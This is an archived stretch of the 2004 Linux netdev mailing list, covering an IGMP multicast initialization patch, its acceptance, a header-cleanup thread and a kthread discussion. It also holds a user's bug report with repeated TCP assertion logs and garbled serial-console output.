| December 5, 2003) at 03/30/2004 17:13:59 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE4F4DF1053758f9e8a93df938690918c07BBE4F4DF105375" X-archive-position: 4364 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 10694 Lines: 281 --0__=07BBE4F4DF1053758f9e8a93df938690918c07BBE4F4DF105375 Content-type: multipart/alternative; Boundary="1__=07BBE4F4DF1053758f9e8a93df938690918c07BBE4F4DF105375" --1__=07BBE4F4DF1053758f9e8a93df938690918c07BBE4F4DF105375 Content-type: text/plain; charset=US-ASCII The patch below creates a new "ip_mc_init_dev()" that has complementary function to "ip_mc_destroy_dev()", and moves timer and lock initialization to it rather than trying to determine when a device is up, coming up, down or going down based on idev->dead (not set before device up, but set on device going down) or IFF_UP (not set on mc_down). With this patch, multicast initialization is always done at device initialization and has nothing to do with up/down state. This should eliminate the timer queue corruption and (I think) make the code easier to understand. This patch also removes the "mc_initted" flag, which is no longer needed. Patch is relative to 2.6.5-rc3 ; 2.4.x version to follow. Thanks to Karlis Peisenieks, who original reported the problem and pointed out flaws in the original fix. +-DLS diff -ruN linux-2.6.5-rc3/include/linux/inetdevice.h linux-2.6.5-rc3F1/include/linux/inetdevice.h --- linux-2.6.5-rc3/include/linux/inetdevice.h 2004-03-30 12:27:29.000000000 -0800 +++ linux-2.6.5-rc3F1/include/linux/inetdevice.h 2004-03-30 14:08:50.000000000 -0800 @@ -36,8 +36,6 @@ rwlock_t lock; int dead; struct in_ifaddr *ifa_list; /* IP ifaddr chain */ - int mc_initted; - struct ip_mc_list *mc_list; /* IP multicast filter chain */ rwlock_t mc_lock; /* for mc_tomb */ struct ip_mc_list *mc_tomb; diff -ruN linux-2.6.5-rc3/net/ipv4/devinet.c linux-2.6.5-rc3F1/net/ipv4/devinet.c --- linux-2.6.5-rc3/net/ipv4/devinet.c 2004-03-10 18:55:23.000000000 -0800 +++ linux-2.6.5-rc3F1/net/ipv4/devinet.c 2004-03-30 14:09:46.000000000 -0800 @@ -165,6 +165,7 @@ #ifdef CONFIG_SYSCTL devinet_sysctl_register(in_dev, &in_dev->cnf); #endif + ip_mc_init_dev(in_dev); if (dev->flags & IFF_UP) ip_mc_up(in_dev); out: diff -ruN linux-2.6.5-rc3/net/ipv4/igmp.c linux-2.6.5-rc3F1/net/ipv4/igmp.c --- linux-2.6.5-rc3/net/ipv4/igmp.c 2004-03-30 12:27:30.000000000 -0800 +++ linux-2.6.5-rc3F1/net/ipv4/igmp.c 2004-03-30 15:53:28.000000000 -0800 @@ -1217,8 +1217,8 @@ ASSERT_RTNL(); - if (!in_dev->mc_initted) - return; + for (i=in_dev->mc_list; i; i=i->next) + igmp_group_dropped(i); #ifdef CONFIG_IP_MULTICAST in_dev->mr_ifc_count = 0; @@ -1227,24 +1227,14 @@ in_dev->mr_gq_running = 0; if (del_timer(&in_dev->mr_gq_timer)) __in_dev_put(in_dev); -#endif - - for (i=in_dev->mc_list; i; i=i->next) - igmp_group_dropped(i); - -#ifdef CONFIG_IP_MULTICAST igmpv3_clear_delrec(in_dev); #endif ip_mc_dec_group(in_dev, IGMP_ALL_HOSTS); } -/* Device going up */ - -void ip_mc_up(struct in_device *in_dev) +void ip_mc_init_dev(struct in_device *in_dev) { - struct ip_mc_list *i; - ASSERT_RTNL(); in_dev->mc_tomb = 0; @@ -1261,12 +1251,20 @@ #endif in_dev->mc_lock = RW_LOCK_UNLOCKED; +} + +/* Device going up */ + +void ip_mc_up(struct in_device *in_dev) +{ + struct ip_mc_list *i; + + ASSERT_RTNL(); + ip_mc_inc_group(in_dev, IGMP_ALL_HOSTS); for (i=in_dev->mc_list; i; i=i->next) igmp_group_added(i); - - in_dev->mc_initted = 1; } /* (See attached file: igmpinit.patch) --1__=07BBE4F4DF1053758f9e8a93df938690918c07BBE4F4DF105375 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

The patch below creates a new "ip_mc_init_dev()" that has complementary
function to "ip_mc_destroy_dev()", and moves timer and lock initialization to
it rather than trying to determine when a device is up, coming up, down or
going down based on idev->dead (not set before device up, but set on
device going down) or IFF_UP (not set on mc_down).

With this patch, multicast initialization is always done at device initialization
and has nothing to do with up/down state. This should eliminate the timer
queue corruption and (I think) make the code easier to understand. This
patch also removes the "mc_initted" flag, which is no longer needed. Patch
is relative to 2.6.5-rc3 ; 2.4.x version to follow.

Thanks to Karlis Peisenieks, who original reported the problem and pointed
out flaws in the original fix.

+-DLS

diff -ruN linux-2.6.5-rc3/include/linux/inetdevice.h linux-2.6.5-rc3F1/include/linux/inetdevice.h
--- linux-2.6.5-rc3/include/linux/inetdevice.h 2004-03-30 12:27:29.000000000 -0800
+++ linux-2.6.5-rc3F1/include/linux/inetdevice.h 2004-03-30 14:08:50.000000000 -0800
@@ -36,8 +36,6 @@
rwlock_t lock;
int dead;
struct in_ifaddr *ifa_list; /* IP ifaddr chain */
- int mc_initted;
-
struct ip_mc_list *mc_list; /* IP multicast filter chain */
rwlock_t mc_lock; /* for mc_tomb */
struct ip_mc_list *mc_tomb;
diff -ruN linux-2.6.5-rc3/net/ipv4/devinet.c linux-2.6.5-rc3F1/net/ipv4/devinet.c
--- linux-2.6.5-rc3/net/ipv4/devinet.c 2004-03-10 18:55:23.000000000 -0800
+++ linux-2.6.5-rc3F1/net/ipv4/devinet.c 2004-03-30 14:09:46.000000000 -0800
@@ -165,6 +165,7 @@
#ifdef CONFIG_SYSCTL
devinet_sysctl_register(in_dev, &in_dev->cnf);
#endif
+ ip_mc_init_dev(in_dev);
if (dev->flags & IFF_UP)
ip_mc_up(in_dev);
out:
diff -ruN linux-2.6.5-rc3/net/ipv4/igmp.c linux-2.6.5-rc3F1/net/ipv4/igmp.c
--- linux-2.6.5-rc3/net/ipv4/igmp.c 2004-03-30 12:27:30.000000000 -0800
+++ linux-2.6.5-rc3F1/net/ipv4/igmp.c 2004-03-30 15:53:28.000000000 -0800
@@ -1217,8 +1217,8 @@

ASSERT_RTNL();

- if (!in_dev->mc_initted)
- return;
+ for (i=in_dev->mc_list; i; i=i->next)
+ igmp_group_dropped(i);

#ifdef CONFIG_IP_MULTICAST
in_dev->mr_ifc_count = 0;
@@ -1227,24 +1227,14 @@
in_dev->mr_gq_running = 0;
if (del_timer(&in_dev->mr_gq_timer))
__in_dev_put(in_dev);
-#endif
-
- for (i=in_dev->mc_list; i; i=i->next)
- igmp_group_dropped(i);
-
-#ifdef CONFIG_IP_MULTICAST
igmpv3_clear_delrec(in_dev);
#endif

ip_mc_dec_group(in_dev, IGMP_ALL_HOSTS);
}

-/* Device going up */
-
-void ip_mc_up(struct in_device *in_dev)
+void ip_mc_init_dev(struct in_device *in_dev)
{
- struct ip_mc_list *i;
-
ASSERT_RTNL();

in_dev->mc_tomb = 0;
@@ -1261,12 +1251,20 @@
#endif

in_dev->mc_lock = RW_LOCK_UNLOCKED;
+}
+
+/* Device going up */
+
+void ip_mc_up(struct in_device *in_dev)
+{
+ struct ip_mc_list *i;
+
+ ASSERT_RTNL();
+
ip_mc_inc_group(in_dev, IGMP_ALL_HOSTS);

for (i=in_dev->mc_list; i; i=i->next)
igmp_group_added(i);
-
- in_dev->mc_initted = 1;
}

/*

(See attached file: igmpinit.patch) --1__=07BBE4F4DF1053758f9e8a93df938690918c07BBE4F4DF105375-- --0__=07BBE4F4DF1053758f9e8a93df938690918c07BBE4F4DF105375 Content-type: application/octet-stream; name="igmpinit.patch" Content-Disposition: attachment; filename="igmpinit.patch" Content-ID: <10__=07BBE4F4DF1053758f9e8a93df938@us.ibm.com>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VNUCiAJaWdtcHYz X2NsZWFyX2RlbHJlYyhpbl9kZXYpOwogI2VuZGlmCiAKIAlpcF9tY19kZWNfZ3JvdXAoaW5fZGV2 LCBJR01QX0FMTF9IT1NUUyk7CiB9CiAKLS8qIERldmljZSBnb2luZyB1cCAqLwotCi12b2lkIGlw X21jX3VwKHN0cnVjdCBpbl9kZXZpY2UgKmluX2RldikKK3ZvaWQgaXBfbWNfaW5pdF9kZXYoc3Ry dWN0IGluX2RldmljZSAqaW5fZGV2KQogewotCXN0cnVjdCBpcF9tY19saXN0ICppOwotCiAJQVNT RVJUX1JUTkwoKTsKIAogCWluX2Rldi0+bWNfdG9tYiA9IDA7CkBAIC0xMjYxLDEyICsxMjUxLDIw IEBACiAjZW5kaWYKIAogCWluX2Rldi0+bWNfbG9jayA9IFJXX0xPQ0tfVU5MT0NLRUQ7Cit9CisK Ky8qIERldmljZSBnb2luZyB1cCAqLworCit2b2lkIGlwX21jX3VwKHN0cnVjdCBpbl9kZXZpY2Ug KmluX2RldikKK3sKKwlzdHJ1Y3QgaXBfbWNfbGlzdCAqaTsKKworCUFTU0VSVF9SVE5MKCk7CisK IAlpcF9tY19pbmNfZ3JvdXAoaW5fZGV2LCBJR01QX0FMTF9IT1NUUyk7CiAKIAlmb3IgKGk9aW5f ZGV2LT5tY19saXN0OyBpOyBpPWktPm5leHQpCiAJCWlnbXBfZ3JvdXBfYWRkZWQoaSk7Ci0KLQlp bl9kZXYtPm1jX2luaXR0ZWQgPSAxOwogfQogCiAvKgo= --0__=07BBE4F4DF1053758f9e8a93df938690918c07BBE4F4DF105375-- From proski@gnu.org Tue Mar 30 16:15:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 16:15:24 -0800 (PST) Received: from fencepost.gnu.org (fencepost.gnu.org [199.232.76.164]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2V0FHKO019556 for ; Tue, 30 Mar 2004 16:15:19 -0800 Received: from proski by fencepost.gnu.org with local (Exim 4.24) id 1B8TNX-00059y-Ad; Tue, 30 Mar 2004 19:14:49 -0500 Date: Tue, 30 Mar 2004 19:15:07 -0500 (EST) From: Pavel Roskin X-X-Sender: proski@marabou.research.att.com To: jt@hpl.hp.com cc: netdev@oss.sgi.com Subject: Re: linux/802_11.h header In-Reply-To: <20040330233934.GA16711@bougret.hpl.hp.com> Message-ID: References: <20040330215128.GA13891@bougret.hpl.hp.com> <20040330233934.GA16711@bougret.hpl.hp.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4365 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: proski@gnu.org Precedence: bulk X-list: netdev Content-Length: 994 Lines: 26 On Tue, 30 Mar 2004, Jean Tourrilhes wrote: > > Because my question is not why atmel_cs uses a header it doesn't need > > (the answer would be likely "oops" or "just in case"). > > > > My question is why we have two headers for the same purpose in the > > kernel and what are we going to do with the header that is not used. > > At some point, we had the headers of the old aironet4500 driver > which looked like this one, but I don't think this driver was ever moved > to the wireless directory, so this is why I think this file was added > with the Atmel driver. Right. aironet4500 included linux/802_11.h. Since aironet4500 was removed in 2.6 kernels, linux/802_11.h should also be removed. I really don't want anybody to find this file and use definitions from it rather than from ieee802_11.h. The patch has been sent to Simon. By the way, ieee802_11.h could be "promoted" to include/linux or include/net with trivial changes to the drivers that use it. -- Regards, Pavel Roskin From jgarzik@pobox.com Tue Mar 30 16:18:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 16:18:23 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2V0IJKO019914 for ; Tue, 30 Mar 2004 16:18:20 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143] helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B8TQw-0000fo-9c; Wed, 31 Mar 2004 01:18:18 +0100 Message-ID: <406A0E3D.2050602@pobox.com> Date: Tue, 30 Mar 2004 19:18:05 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Pavel Roskin CC: jt@hpl.hp.com, netdev@oss.sgi.com Subject: Re: linux/802_11.h header References: <20040330215128.GA13891@bougret.hpl.hp.com> <20040330233934.GA16711@bougret.hpl.hp.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 4366 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 173 Lines: 11 Pavel Roskin wrote: > By the way, ieee802_11.h could be "promoted" to include/linux or > include/net with trivial changes to the drivers that use it. It should. Jeff From rusty@rustcorp.com.au Tue Mar 30 18:36:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 18:36:48 -0800 (PST) Received: from ozlabs.org (ozlabs.org [203.10.76.45]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2V2acKO027299 for ; Tue, 30 Mar 2004 18:36:38 -0800 Received: from bach.ozlabs.ibm.com (bh02i525f01.au.ibm.com [202.81.18.30]) (using TLSv1 with cipher RC4-MD5 (128/128 bits)) (Client did not present a certificate) by ozlabs.org (Postfix) with ESMTP id B06492BD8D; Wed, 31 Mar 2004 12:36:29 +1000 (EST) Subject: Re: route cache DoS testing and softirqs From: Rusty Russell To: Srivatsa Vaddagiri Cc: Andrea Arcangeli , Dipankar Sarma , lkml - Kernel Mailing List , netdev@oss.sgi.com, Robert Olsson , "Paul E. McKenney" , Dave Miller , Alexey Kuznetsov , Andrew Morton , rusty@au1.ibm.com In-Reply-To: <20040330050614.GA4669@in.ibm.com> References: <20040329184550.GA4540@in.ibm.com> <20040329222926.GF3808@dualathlon.random> <20040330050614.GA4669@in.ibm.com> Content-Type: text/plain Message-Id: <1080700584.17686.237.camel@bach> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.6 Date: Wed, 31 Mar 2004 12:36:25 +1000 Content-Transfer-Encoding: 7bit X-archive-position: 4367 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rusty@rustcorp.com.au Precedence: bulk X-list: netdev Content-Length: 1050 Lines: 22 On Tue, 2004-03-30 at 15:06, Srivatsa Vaddagiri wrote: > On Tue, Mar 30, 2004 at 01:07:12AM +0000, Andrea Arcangeli wrote: > > btw, the set_current_state(TASK_INTERRUPTIBLE) before > > kthread_should_stop seems overkill w.r.t. smp locking, plus the code is > > written in the wrong way around, all set_current_state are in the wrong > > place. It's harmless but I cleaned up that bit as well. > > I think set_current_state(TASK_INTERRUPTIBLE) before kthread_should_stop() > _is_ required, otherwise kthread_stop can fail to destroy a kthread. The problem is that kthread_stop used to send a signal to the kthread, which meant we didn't have to beware of races (since it would never sleep any more): kthread_should_stop() was called signal_pending 8) Andrew hated the signal mechanism, so I abandoned it, but didn't go back and fix all the users. It's tempting to send a signal anyway to make life simpler, though, although that might set a bad example for others. Rusty. -- Anyone who quotes me in their signature is an idiot -- Rusty Russell From christopherc@team.outblaze.com Tue Mar 30 19:27:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 19:27:15 -0800 (PST) Received: from corpmail.outblaze.com (corpmail.outblaze.com [203.86.166.82]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2V3RAKO028920 for ; Tue, 30 Mar 2004 19:27:11 -0800 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by corpmail.outblaze.com (Postfix) with ESMTP id 8852837B73 for ; Wed, 31 Mar 2004 03:27:10 +0000 (GMT) Received: from smtp1.hk1.outblaze.com (smtp1.hk1.outblaze.com [203.86.166.80]) by corpmail.outblaze.com (Postfix) with SMTP id 1ED3116DD8B for ; Wed, 31 Mar 2004 03:27:10 +0000 (GMT) Received: (qmail 22723 invoked from network); 31 Mar 2004 03:27:03 -0000 Received: from unknown (HELO outblaze.com) (christopherc@team.outblaze.com@210.177.227.130) by smtp1.hk1.outblaze.com with SMTP; 31 Mar 2004 03:27:03 -0000 Message-ID: <406A3AAE.3030508@outblaze.com> Date: Wed, 31 Mar 2004 11:27:42 +0800 From: Christopher Chan User-Agent: Mozilla Thunderbird 0.5 (X11/20040208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: Network unavailability in 2.6.4 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.11; VAE: 6.24.0.7; VDF: 6.24.0.76; host: corpmail.outblaze.com) X-archive-position: 4369 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cchan@outblaze.com Precedence: bulk X-list: netdev Content-Length: 4640 Lines: 102 Hi, I have a box running 2.6.4 which from time to time will become unavailable. Each of those times would have corresponding logs in messages. Hardware: 00:04.0 Ethernet controller: Intel Corp. 82557/8/9 [Ethernet Pro 100] (rev 08) I am using the e100 driver. The current resolution is to reboot the box. logs in /var/log/messages: Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (tp->copied_seq == tp->rcv_nxt || (flags & (MSG_PEEK | MSG_TRUNC))) failed at net/ipv4/tcp.c (1635) Mar 30 22:50:34 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 30 23:34:28 spf6 syslogd 1.4.1: restart. Mar 30 23:34:28 spf6 syslog: syslogd startup succeeded From davem@redhat.com Tue Mar 30 19:26:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 19:26:56 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2V3QlKO028860 for ; Tue, 30 Mar 2004 19:26:48 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2V3Qi1X031368; Tue, 30 Mar 2004 22:26:44 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2V3Qij29345; Tue, 30 Mar 2004 22:26:44 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2V3Q81n020974; Tue, 30 Mar 2004 22:26:23 -0500 Date: Tue, 30 Mar 2004 19:25:58 -0800 From: "David S. Miller" To: David Stevens Cc: netdev@oss.sgi.com Subject: Re: [PATCH] fix IGMPv3 timer initialization when device not "upped" Message-Id: <20040330192558.1d9c8eb2.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4368 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 137 Lines: 5 Applied, thanks David. Can I have a 2.4.x variant under seperate cover please? I did the "mc_initted" thing there too. Thanks again. From christopherc@team.outblaze.com Tue Mar 30 21:51:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 30 Mar 2004 21:51:55 -0800 (PST) Received: from corpmail.outblaze.com (corpmail.outblaze.com [203.86.166.82]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2V5pqKO004457 for ; Tue, 30 Mar 2004 21:51:52 -0800 Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by corpmail.outblaze.com (Postfix) with ESMTP id 9974537B88 for ; Wed, 31 Mar 2004 05:51:50 +0000 (GMT) Received: from smtp1.hk1.outblaze.com (smtp1.hk1.outblaze.com [203.86.166.80]) by corpmail.outblaze.com (Postfix) with SMTP id 467B716DD8A for ; Wed, 31 Mar 2004 05:51:50 +0000 (GMT) Received: (qmail 7275 invoked from network); 31 Mar 2004 05:51:43 -0000 Received: from unknown (HELO outblaze.com) (christopherc@team.outblaze.com@210.177.227.130) by smtp1.hk1.outblaze.com with SMTP; 31 Mar 2004 05:51:43 -0000 Message-ID: <406A5CB8.9060802@outblaze.com> Date: Wed, 31 Mar 2004 13:52:56 +0800 From: Christopher Chan User-Agent: Mozilla Thunderbird 0.5 (X11/20040208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: network unavailable with 2.6.4 (2) Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.11; VAE: 6.24.0.7; VDF: 6.24.0.76; host: corpmail.outblaze.com) X-archive-position: 4370 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cchan@outblaze.com Precedence: bulk X-list: netdev Content-Length: 11306 Lines: 260 After waiting for a bit, network connectivity is restored... and I got the following from the logs... Mar 31 05:45:10 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 31 05:45:10 spf6 kernel: recvmsg bug: copied 56144D09 seq 56144D21 Mar 31 05:45:10 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 31 05:45:10 spf6 kernel: recvmsg bug: copied C1BC15E2 seq C1BC15FE Mar 31 05:45:10 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 31 05:45:10 spf6 kernel: recvmsg bug: copied A2E73B39 seq A2E73B55 Mar 31 05:45:10 spf6 kernel: KERNEL: assertion (flags & MSG_PEEK) failed at net/ipv4/tcp.c (1571) Mar 31 05:45:10 spf6 kernel: recvmsg bug: copied B11E6A67 seq B11E6A6D Mar 31 05:45:10 spf6 kernel: KERNEL: assertion (!skb || before(tp->copied_seq, TCP_SKB_CB(skb)->end_seq)) failed at net/ipv4/tcp.c (1326) at the same time, serial console was messed up during the period of 'blackout' we had stuff look the following being dumped... cpPEiep.(f/ &(t/ised| sed RN)cvRNK)5)G==1) Mp.EEep.(f/i& tpised (er aN<3RUp-3>_ ( |se(1gs4/S>c4/io naio n: ait ai3>UN->>_P(1| eq15s4/SGco/tonnagonne ail ail>KNC>>KPE16 Mq 5s /tG_optcnnegsn etail |asleKNC>rKEEE63Mq 57 &tc_optcn etsn etasle||sleKEC)rcERE63MS =71&tc_Ppicp (ts (t/sse||ssedER))cEREK35SG=71& cpPEicp (t/ &(t/ised| sed RN)cvRNK)5)G==1) Mp.Eiep.(f/i& t/ised (ed RN))vRNK)5)G_= ) Mp.EEed.(f/i& tpiped (er aN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised (ed RN))v_NK)5)G_= ) cpPEiep.(t/ &(t/ised| sed RN))vRNK)5)G_=1) Mp.EEed.(f/i& t/ised (er RN))v_NE) )G_= ) MpPEiep.(f/i&(t/ised (er aN))v_NE) )G_= ) MpPEiep.(f/i&(t/ised| sed RN))vRNK)5)G_=1) Mp.EEed.(f/i& t/ised (er RN))v_NE)5)G_= ) Mp.Eiep.(f/i& t/ised (ed RN))v_NE)5)G_= ) MpPEiep.(f/ &(t/ised| sed RN)cvRNK)5)G==1) Mp.Eiep.(f/i& t/ised (er RN))v_NE) )G_= ) Mp.Eiep.(f/i&(t/ised sed RN))vRNK)5)G_=1) Mp.EEep.(f/i& t/ised (er RN))v_NE)5)G_= ) cpPEiep.(f/ &(t/ised sed RN))vRNK)5)G_= ) Mp.EEed.(f/i& tpised (er aN))v_NE) )G_= ) MpPEiep.(f/i&(t/ised sed RN))v_NK)5)G_= ) cpPEiep.(f/ &(t/ised| sed R))cvRNK)5)G==1) MpPEiep.(f/i&(t/ised sed RN))v_NK)5)G_=1) Mp.EEed.(f/i& tpiped (er aNE)v_NE) ) ==1) Mp.EEep.(f/i& t/ised (er RN))v_NE)5)G_= ) cpPEiep.(f/ &(t/ised sed RN))v_NK)5)G_= ) Mp.EEed.cf/i& tpiped (er aN))v_NE) ) _=1) Mp.EEep.(f/i& t/ised sed RN))v_NK)5)G_= ) Mp.EEed.(f/i& tpised (er RN))v_NK)5)G_= ) Mp.EEed.cf/i& tpiped (er 